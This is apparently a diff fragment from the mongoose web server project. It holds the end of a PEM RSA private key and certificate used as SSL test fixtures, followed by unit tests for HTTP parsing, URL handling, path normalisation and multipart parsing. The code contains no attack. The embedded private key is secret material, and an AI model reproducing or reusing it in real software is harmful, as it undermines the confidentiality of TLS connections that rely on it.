AFtZEcx+1bzkVvyZoSV4s0R61jJcVptutWFcDG2XAoGAKcltmad6dvtApzBQQdiQ
|
||||||
|
7gbQ6pfwOpRpeofPbjrbrdc4s1XzCuIvGvTJqP1zpUnwhlmHREB9E+d0GAl98u1R
|
||||||
|
qs4QEs3Ofh/0C1Q3z5H5iSSuguC5lIblGHIQHpgXAMwnG8qxEjaoj1+U22Lx2mYw
|
||||||
|
wGiohi+BhDUP8evwwN5aOsECgYEAq3qN+2jihQhsi9hSqNW4kLyd5zmrJHOaI70d
|
||||||
|
G/gTIQkvz3qRSwdjkWz40jBAOGu6SdRCbTP14XM2rZtntbR7GL687Zxj6M3Pg3As
|
||||||
|
nKk9lF73lxSSy2g+SMD490TxuN4lIGNkd4+8vUxd4JM/H4aKj+mifPqbHnBEdGSt
|
||||||
|
K0Xm4asCgYEAxM1MNlaS6BD8jLcEQZ/PX9G+ReN7u5zMiw62KQj0wsMy+p92ib1l
|
||||||
|
Jvsv2LI4Ps6SEf4XdDctoAjgk7wsv45rS2RxiBg3wSVz5SSR513+VjlIgmNGWTlI
|
||||||
|
U7tngF/p+qh2Kd5XtqSj5TK3Ts9UPfv3TjBe85LaxxT9WJ8SH3NiEAg=
|
||||||
|
-----END RSA PRIVATE KEY-----
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIDEjCCAfoCBRQDhmJRMA0GCSqGSIb3DQEBBQUAMFMxFDASBgNVBAMTC2Nlc2Fu
|
||||||
|
dGEuY29tMR0wGwYDVQQKExRDZXNhbnRhIFNvZnR3YXJlIEx0ZDELMAkGA1UEBhMC
|
||||||
|
SUUxDzANBgNVBAcTBkR1YmxpbjAeFw0xNDA2MjcxMDUwNTBaFw0yNDA2MjQxMDUw
|
||||||
|
NTBaMEcxFTATBgNVBAMTDDE5Mi4xNjguMS4yODEQMA4GA1UEChMHRm9vK0x0ZDEL
|
||||||
|
MAkGA1UEBhMCSUUxDzANBgNVBAcTBkdhbHdheTCCASIwDQYJKoZIhvcNAQEBBQAD
|
||||||
|
ggEPADCCAQoCggEBALWn5PDr4CV+kixLZ8EZhNaBJpN87Aw9FBlvqg/g7SDzm9+8
|
||||||
|
UTSKThhVPBlwJ9hpiCJJOy+d258odPKLE5ySp4aawTAyKcGaDKeBxAh+A5NDOx9k
|
||||||
|
twjCUU/sGBuBiWbd06dlOcvU/k/uGDBglVzjguzIhKtZwP4kJ5Y4YRiTutclYA2/
|
||||||
|
3WrJyOooKw0FGN9DRyAXbcLNrPsrFi2Ify7oC2bqxLb588J7f6kKHu1BfzFudYL7
|
||||||
|
u8sH0r8UZLAimSjhYyyDHBJpEXgNvGPpoXyk9W41OhrXtl2Y/uX9k6mLwjvp/3eX
|
||||||
|
WONfzbpPbo46PxtfXVFDmbtziy+fUPUYPuo9RVcCAwEAATANBgkqhkiG9w0BAQUF
|
||||||
|
AAOCAQEAtWSuAbC62J0rdSu5GZg7k7hu6e9s11dc5PS/VRk4h+99RoLxWYO7c6Bp
|
||||||
|
PdDGt6IAWDu2u/aowlKr0sWwThR+nAlQHlufSieS6udfFR1O6cjXa0hRUCKU5Ant
|
||||||
|
+mgPNsfmxV6A6pBSfwgYiv6KLaCRr7tvJqyaNl0MbxMCPmUHy+/Fplab6+h91DsO
|
||||||
|
FxECw/P73iNmSrx9sYrbl83snXMDoMgHq08LwebBcdfiKXGB7mobi0lRfNbh7rqv
|
||||||
|
xVZZ26shxUKLZrtDH0+ACPO6/e6dogOIO9/Frlp+E955Y6F+SeF4QexfbZn5mW8X
|
||||||
|
c7pDVtADI3bClzuYM6PPvOp+sXKM9Q==
|
||||||
|
-----END CERTIFICATE-----
|
||||||
@@ -0,0 +1,528 @@
|
|||||||
|
// Unit test for the mongoose web server.
|
||||||
|
// g++ -W -Wall -pedantic -g unit_test.c -lssl && ./a.out
|
||||||
|
// cl unit_test.c /MD
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
#define NS_ENABLE_IPV6
|
||||||
|
#define NS_ENABLE_SSL
|
||||||
|
#endif
|
||||||
|
#define MONGOOSE_POST_SIZE_LIMIT 999
|
||||||
|
|
||||||
|
// USE_* definitions must be made before #include "mongoose.c" !
|
||||||
|
#include "../mongoose.c"
|
||||||
|
|
||||||
|
#define FAIL(str, line) do { \
|
||||||
|
printf("Fail on line %d: [%s]\n", line, str); \
|
||||||
|
return str; \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
#define ASSERT(expr) do { \
|
||||||
|
static_num_tests++; \
|
||||||
|
if (!(expr)) FAIL(#expr, __LINE__); \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
#define RUN_TEST(test) do { const char *msg = test(); \
|
||||||
|
if (msg) return msg; } while (0)
|
||||||
|
|
||||||
|
#define HTTP_PORT "45772"
|
||||||
|
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
|
||||||
|
|
||||||
|
static int static_num_tests = 0;
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
// Connects to host:port, and sends formatted request to it. Returns
|
||||||
|
// malloc-ed reply and reply length, or NULL on error. Reply contains
|
||||||
|
// everything including headers, not just the message body.
|
||||||
|
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
|
||||||
|
char buf[2000], *reply = NULL;
|
||||||
|
int request_len, reply_size = 0, n, sock = -1;
|
||||||
|
struct sockaddr_in sin;
|
||||||
|
struct hostent *he = NULL;
|
||||||
|
va_list ap;
|
||||||
|
|
||||||
|
if (host != NULL &&
|
||||||
|
(he = gethostbyname(host)) != NULL &&
|
||||||
|
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
|
||||||
|
sin.sin_family = AF_INET;
|
||||||
|
sin.sin_port = htons((uint16_t) port);
|
||||||
|
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
|
||||||
|
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
|
||||||
|
|
||||||
|
// Format and send the request.
|
||||||
|
va_start(ap, fmt);
|
||||||
|
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
|
||||||
|
va_end(ap);
|
||||||
|
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
|
||||||
|
request_len -= n;
|
||||||
|
}
|
||||||
|
if (request_len == 0) {
|
||||||
|
*len = 0;
|
||||||
|
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
|
||||||
|
if (*len + n > reply_size) {
|
||||||
|
// Leak possible
|
||||||
|
reply = (char *) realloc(reply, reply_size + sizeof(buf));
|
||||||
|
reply_size += sizeof(buf);
|
||||||
|
}
|
||||||
|
if (reply != NULL) {
|
||||||
|
memcpy(reply + *len, buf, n);
|
||||||
|
*len += n;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closesocket(sock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return reply;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static char *read_file(const char *path, int *size) {
|
||||||
|
FILE *fp;
|
||||||
|
struct stat st;
|
||||||
|
char *data = NULL;
|
||||||
|
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
|
||||||
|
*size = (int) st.st_size;
|
||||||
|
data = (char *) malloc(*size);
|
||||||
|
fread(data, 1, *size, fp);
|
||||||
|
fclose(fp);
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_parse_http_message() {
|
||||||
|
struct mg_connection ri;
|
||||||
|
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||||
|
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
|
||||||
|
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
|
||||||
|
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
|
||||||
|
char req5[] = "GET / HTTP/1.1\r\n\r\n";
|
||||||
|
char req6[] = "G";
|
||||||
|
char req7[] = " blah ";
|
||||||
|
char req8[] = " HTTP/1.1 200 OK \n\n";
|
||||||
|
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
|
||||||
|
|
||||||
|
ASSERT(get_request_len("\r\n", 3) == -1);
|
||||||
|
ASSERT(get_request_len("\r\n", 2) == 0);
|
||||||
|
ASSERT(get_request_len("GET", 3) == 0);
|
||||||
|
ASSERT(get_request_len("\n\n", 2) == 2);
|
||||||
|
ASSERT(get_request_len("\n\r\n", 3) == 3);
|
||||||
|
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
|
||||||
|
ASSERT(get_request_len("\xdd\x03", 2) == -1);
|
||||||
|
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
|
||||||
|
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
|
||||||
|
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
|
||||||
|
|
||||||
|
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
|
||||||
|
ASSERT(ri.num_headers == 1);
|
||||||
|
|
||||||
|
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
|
||||||
|
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||||
|
ASSERT(ri.num_headers == 0);
|
||||||
|
|
||||||
|
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
|
||||||
|
ASSERT(parse_http_message(req6, 0, &ri) == -1);
|
||||||
|
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
|
||||||
|
|
||||||
|
// TODO(lsm): Fix this. Header value may span multiple lines.
|
||||||
|
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
|
||||||
|
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||||
|
ASSERT(ri.num_headers == 3);
|
||||||
|
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
|
||||||
|
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
|
||||||
|
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
|
||||||
|
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
|
||||||
|
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
|
||||||
|
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
|
||||||
|
|
||||||
|
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
|
||||||
|
ASSERT(strcmp(ri.request_method, "GET") == 0);
|
||||||
|
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_should_keep_alive(void) {
|
||||||
|
struct mg_connection conn;
|
||||||
|
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||||
|
char req2[] = "GET / HTTP/1.0\r\n\r\n";
|
||||||
|
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
|
||||||
|
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
|
||||||
|
|
||||||
|
memset(&conn, 0, sizeof(conn));
|
||||||
|
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
|
||||||
|
ASSERT(should_keep_alive(&conn) != 0);
|
||||||
|
|
||||||
|
parse_http_message(req2, sizeof(req2) - 1, &conn);
|
||||||
|
ASSERT(should_keep_alive(&conn) == 0);
|
||||||
|
|
||||||
|
parse_http_message(req3, sizeof(req3) - 1, &conn);
|
||||||
|
ASSERT(should_keep_alive(&conn) == 0);
|
||||||
|
|
||||||
|
parse_http_message(req4, sizeof(req4) - 1, &conn);
|
||||||
|
ASSERT(should_keep_alive(&conn) != 0);
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_match_prefix(void) {
|
||||||
|
ASSERT(mg_match_prefix("/api", 4, "/api") == 4);
|
||||||
|
ASSERT(mg_match_prefix("/a/", 3, "/a/b/c") == 3);
|
||||||
|
ASSERT(mg_match_prefix("/a/", 3, "/ab/c") == -1);
|
||||||
|
ASSERT(mg_match_prefix("/*/", 3, "/ab/c") == 4);
|
||||||
|
ASSERT(mg_match_prefix("**", 2, "/a/b/c") == 6);
|
||||||
|
ASSERT(mg_match_prefix("/*", 2, "/a/b/c") == 2);
|
||||||
|
ASSERT(mg_match_prefix("*/*", 3, "/a/b/c") == 2);
|
||||||
|
ASSERT(mg_match_prefix("**/", 3, "/a/b/c") == 5);
|
||||||
|
ASSERT(mg_match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
|
||||||
|
ASSERT(mg_match_prefix("a|b|cd", 6, "cdef") == 2);
|
||||||
|
ASSERT(mg_match_prefix("a|b|c?", 6, "cdef") == 2);
|
||||||
|
ASSERT(mg_match_prefix("a|?|cd", 6, "cdef") == 1);
|
||||||
|
ASSERT(mg_match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
|
||||||
|
ASSERT(mg_match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
|
||||||
|
ASSERT(mg_match_prefix("**/", 3, "/a/b/c") == 5);
|
||||||
|
ASSERT(mg_match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||||
|
ASSERT(mg_match_prefix("**/$", 4, "/a/b/") == 5);
|
||||||
|
ASSERT(mg_match_prefix("$", 1, "") == 0);
|
||||||
|
ASSERT(mg_match_prefix("$", 1, "x") == -1);
|
||||||
|
ASSERT(mg_match_prefix("*$", 2, "x") == 1);
|
||||||
|
ASSERT(mg_match_prefix("/$", 2, "/") == 1);
|
||||||
|
ASSERT(mg_match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||||
|
ASSERT(mg_match_prefix("**/$", 4, "/a/b/") == 5);
|
||||||
|
ASSERT(mg_match_prefix("*", 1, "/hello/") == 0);
|
||||||
|
ASSERT(mg_match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
|
||||||
|
ASSERT(mg_match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
|
||||||
|
ASSERT(mg_match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
|
||||||
|
ASSERT(mg_match_prefix("**o$", 4, "HELLO") == 5);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_remove_double_dots() {
|
||||||
|
struct { char before[20], after[20]; } data[] = {
|
||||||
|
{"////a", "/a"},
|
||||||
|
{"/.....", "/."},
|
||||||
|
{"/......", "/"},
|
||||||
|
{"...", "..."},
|
||||||
|
{"/...///", "/./"},
|
||||||
|
{"/a...///", "/a.../"},
|
||||||
|
{"/.x", "/.x"},
|
||||||
|
{"/\\", "/"},
|
||||||
|
{"/a\\", "/a\\"},
|
||||||
|
{"/a\\\\...", "/a\\."},
|
||||||
|
};
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
for (i = 0; i < ARRAY_SIZE(data); i++) {
|
||||||
|
remove_double_dots_and_double_slashes(data[i].before);
|
||||||
|
ASSERT(strcmp(data[i].before, data[i].after) == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_get_var(void) {
|
||||||
|
static const char *post[] = {
|
||||||
|
"a=1&&b=2&d&=&c=3%20&e=",
|
||||||
|
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
|
||||||
|
NULL
|
||||||
|
};
|
||||||
|
char buf[20];
|
||||||
|
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
|
||||||
|
ASSERT(buf[0] == '1' && buf[1] == '\0');
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
|
||||||
|
ASSERT(buf[0] == '2' && buf[1] == '\0');
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
|
||||||
|
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
|
||||||
|
ASSERT(buf[0] == '\0');
|
||||||
|
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
|
||||||
|
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
|
||||||
|
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
|
||||||
|
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
|
||||||
|
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_url_decode(void) {
|
||||||
|
char buf[100];
|
||||||
|
|
||||||
|
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
|
||||||
|
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
|
||||||
|
ASSERT(strcmp(buf, "foo") == 0);
|
||||||
|
|
||||||
|
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
|
||||||
|
ASSERT(strcmp(buf, "a+") == 0);
|
||||||
|
|
||||||
|
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
|
||||||
|
ASSERT(strcmp(buf, "a ") == 0);
|
||||||
|
|
||||||
|
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
|
||||||
|
ASSERT(strcmp(buf, "%") == 0);
|
||||||
|
|
||||||
|
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
|
||||||
|
ASSERT(strcmp(buf, "%6") == 0);
|
||||||
|
|
||||||
|
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
|
||||||
|
ASSERT(strcmp(buf, "a") == 0);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_url_encode(void) {
|
||||||
|
char buf[100];
|
||||||
|
ASSERT(mg_url_encode("", 0, buf, sizeof(buf)) == 0);
|
||||||
|
ASSERT(buf[0] == '\0');
|
||||||
|
ASSERT(mg_url_encode("foo", 3, buf, sizeof(buf)) == 3);
|
||||||
|
ASSERT(strcmp(buf, "foo") == 0);
|
||||||
|
ASSERT(mg_url_encode("f o", 3, buf, sizeof(buf)) == 5);
|
||||||
|
ASSERT(strcmp(buf, "f%20o") == 0);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_to64(void) {
|
||||||
|
ASSERT(to64("0") == 0);
|
||||||
|
ASSERT(to64("") == 0);
|
||||||
|
ASSERT(to64("123") == 123);
|
||||||
|
ASSERT(to64("-34") == -34);
|
||||||
|
ASSERT(to64("3566626116") == 3566626116);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_base64_encode(void) {
|
||||||
|
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
|
||||||
|
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
|
||||||
|
char buf[100];
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for (i = 0; in[i] != NULL; i++) {
|
||||||
|
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
|
||||||
|
ASSERT(!strcmp(buf, out[i]));
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_mg_parse_header(void) {
|
||||||
|
const char *str = "xx=1 kl yy, ert=234 kl=123, "
|
||||||
|
"ii=\"12\\\"34\" zz='aa bb',tt=2,gf=\"xx d=1234";
|
||||||
|
char buf[10];
|
||||||
|
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
|
||||||
|
ASSERT(strcmp(buf, "234") == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
|
||||||
|
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
|
||||||
|
ASSERT(strcmp(buf, "aa bb") == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
|
||||||
|
ASSERT(strcmp(buf, "1234") == 0);
|
||||||
|
buf[0] = 'x';
|
||||||
|
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
|
||||||
|
ASSERT(buf[0] == '\0');
|
||||||
|
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
|
||||||
|
ASSERT(strcmp(buf, "123") == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
|
||||||
|
ASSERT(strcmp(buf, "1") == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
|
||||||
|
ASSERT(strcmp(buf, "12\"34") == 0);
|
||||||
|
ASSERT(mg_parse_header(str, "tt", buf, sizeof(buf)) == 1);
|
||||||
|
ASSERT(strcmp(buf, "2") == 0);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_next_option(void) {
|
||||||
|
const char *p, *list = "x/8,/y**=1;2k,z";
|
||||||
|
struct vec a, b;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
ASSERT(next_option(NULL, &a, &b) == NULL);
|
||||||
|
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
|
||||||
|
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
|
||||||
|
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
|
||||||
|
b.len == 4));
|
||||||
|
|
||||||
|
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int evh1(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
char *buf = (char *) conn->connection_param;
|
||||||
|
int result = MG_FALSE;
|
||||||
|
|
||||||
|
switch (ev) {
|
||||||
|
case MG_CONNECT:
|
||||||
|
mg_printf(conn, "GET %s HTTP/1.0\r\n\r\n",
|
||||||
|
buf[0] == '1' ? "/cb1" : "/non_exist");
|
||||||
|
result = MG_TRUE;
|
||||||
|
break;
|
||||||
|
case MG_HTTP_ERROR:
|
||||||
|
mg_printf(conn, "HTTP/1.0 404 NF\r\n\r\nERR: %d", conn->status_code);
|
||||||
|
result = MG_TRUE;
|
||||||
|
break;
|
||||||
|
case MG_REQUEST:
|
||||||
|
if (!strcmp(conn->uri, "/cb1")) {
|
||||||
|
mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n%s %s %s",
|
||||||
|
(char *) conn->server_param,
|
||||||
|
buf == NULL ? "?" : "!", conn->remote_ip);
|
||||||
|
result = MG_TRUE;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case MG_REPLY:
|
||||||
|
if (buf != NULL) {
|
||||||
|
sprintf(buf + 1, "%.*s", (int) conn->content_len, conn->content);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case MG_AUTH:
|
||||||
|
result = MG_TRUE;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_server(void) {
|
||||||
|
char buf1[100] = "1", buf2[100] = "2";
|
||||||
|
struct mg_server *server = mg_create_server((void *) "foo", evh1);
|
||||||
|
struct mg_connection *conn;
|
||||||
|
|
||||||
|
ASSERT(server != NULL);
|
||||||
|
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
|
||||||
|
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||||
|
|
||||||
|
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
|
||||||
|
conn->connection_param = buf1;
|
||||||
|
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
|
||||||
|
conn->connection_param = buf2;
|
||||||
|
|
||||||
|
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||||
|
ASSERT(strcmp(buf1, "1foo ? 127.0.0.1") == 0);
|
||||||
|
ASSERT(strcmp(buf2, "2ERR: 404") == 0);
|
||||||
|
|
||||||
|
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
ASSERT(server == NULL);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define DISP "Content-Disposition: form/data; "
|
||||||
|
#define CRLF "\r\n"
|
||||||
|
#define BOUNDARY "--xyz"
|
||||||
|
static const char *test_parse_multipart(void) {
|
||||||
|
char a[100], b[100];
|
||||||
|
const char *p;
|
||||||
|
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
|
||||||
|
"some_content" CRLF BOUNDARY CRLF
|
||||||
|
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
|
||||||
|
"another_content" CRLF BOUNDARY CRLF
|
||||||
|
"--" CRLF;
|
||||||
|
int n, n2, len, f1_len = sizeof(f1) - 1;
|
||||||
|
|
||||||
|
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
|
||||||
|
ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
|
||||||
|
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
|
||||||
|
b, sizeof(b), &p, &len)) > 0);
|
||||||
|
ASSERT(len == 12);
|
||||||
|
ASSERT(memcmp(p, "some_content", len) == 0);
|
||||||
|
ASSERT(strcmp(a, "f1") == 0);
|
||||||
|
ASSERT(b[0] == '\0');
|
||||||
|
|
||||||
|
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
|
||||||
|
b, sizeof(b), &p, &len)) > 0);
|
||||||
|
ASSERT(len == 15);
|
||||||
|
ASSERT(memcmp(p, "another_content", len) == 0);
|
||||||
|
ASSERT(strcmp(a, "f2") == 0);
|
||||||
|
ASSERT(strcmp(b, "foo bar.txt") == 0);
|
||||||
|
|
||||||
|
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
|
||||||
|
b, sizeof(b), &p, &len)) == 0);
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int evh2(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
char *file_data, *cp = (char *) conn->connection_param;
|
||||||
|
int file_size, result = MG_FALSE;
|
||||||
|
|
||||||
|
switch (ev) {
|
||||||
|
case MG_AUTH:
|
||||||
|
result = MG_TRUE;
|
||||||
|
break;
|
||||||
|
case MG_CONNECT:
|
||||||
|
mg_printf(conn, "GET /%s HTTP/1.0\r\n\r\n", cp);
|
||||||
|
result = MG_TRUE;
|
||||||
|
break;
|
||||||
|
case MG_REQUEST:
|
||||||
|
break;
|
||||||
|
case MG_REPLY:
|
||||||
|
file_data = read_file("unit_test.c", &file_size);
|
||||||
|
sprintf(cp, "%d %s", (size_t) file_size == conn->content_len &&
|
||||||
|
memcmp(file_data, conn->content, file_size) == 0 ? 1 : 0,
|
||||||
|
conn->query_string == NULL ? "?" : conn->query_string);
|
||||||
|
free(file_data);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_mg_set_option(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, NULL);
|
||||||
|
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
|
||||||
|
ASSERT(mg_get_option(server, "listening_port")[0] != '\0');
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *test_rewrites(void) {
|
||||||
|
char buf1[100] = "xx";
|
||||||
|
struct mg_server *server = mg_create_server(NULL, evh2);
|
||||||
|
struct mg_connection *conn;
|
||||||
|
const char *port;
|
||||||
|
|
||||||
|
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
|
||||||
|
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||||
|
ASSERT(mg_set_option(server, "url_rewrites", "/xx=unit_test.c") == NULL);
|
||||||
|
ASSERT((port = mg_get_option(server, "listening_port")) != NULL);
|
||||||
|
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(port), 0)) != NULL);
|
||||||
|
conn->connection_param = buf1;
|
||||||
|
|
||||||
|
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||||
|
|
||||||
|
ASSERT(strcmp(buf1, "1 ?") == 0);
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *run_all_tests(void) {
|
||||||
|
RUN_TEST(test_should_keep_alive);
|
||||||
|
RUN_TEST(test_match_prefix);
|
||||||
|
RUN_TEST(test_remove_double_dots);
|
||||||
|
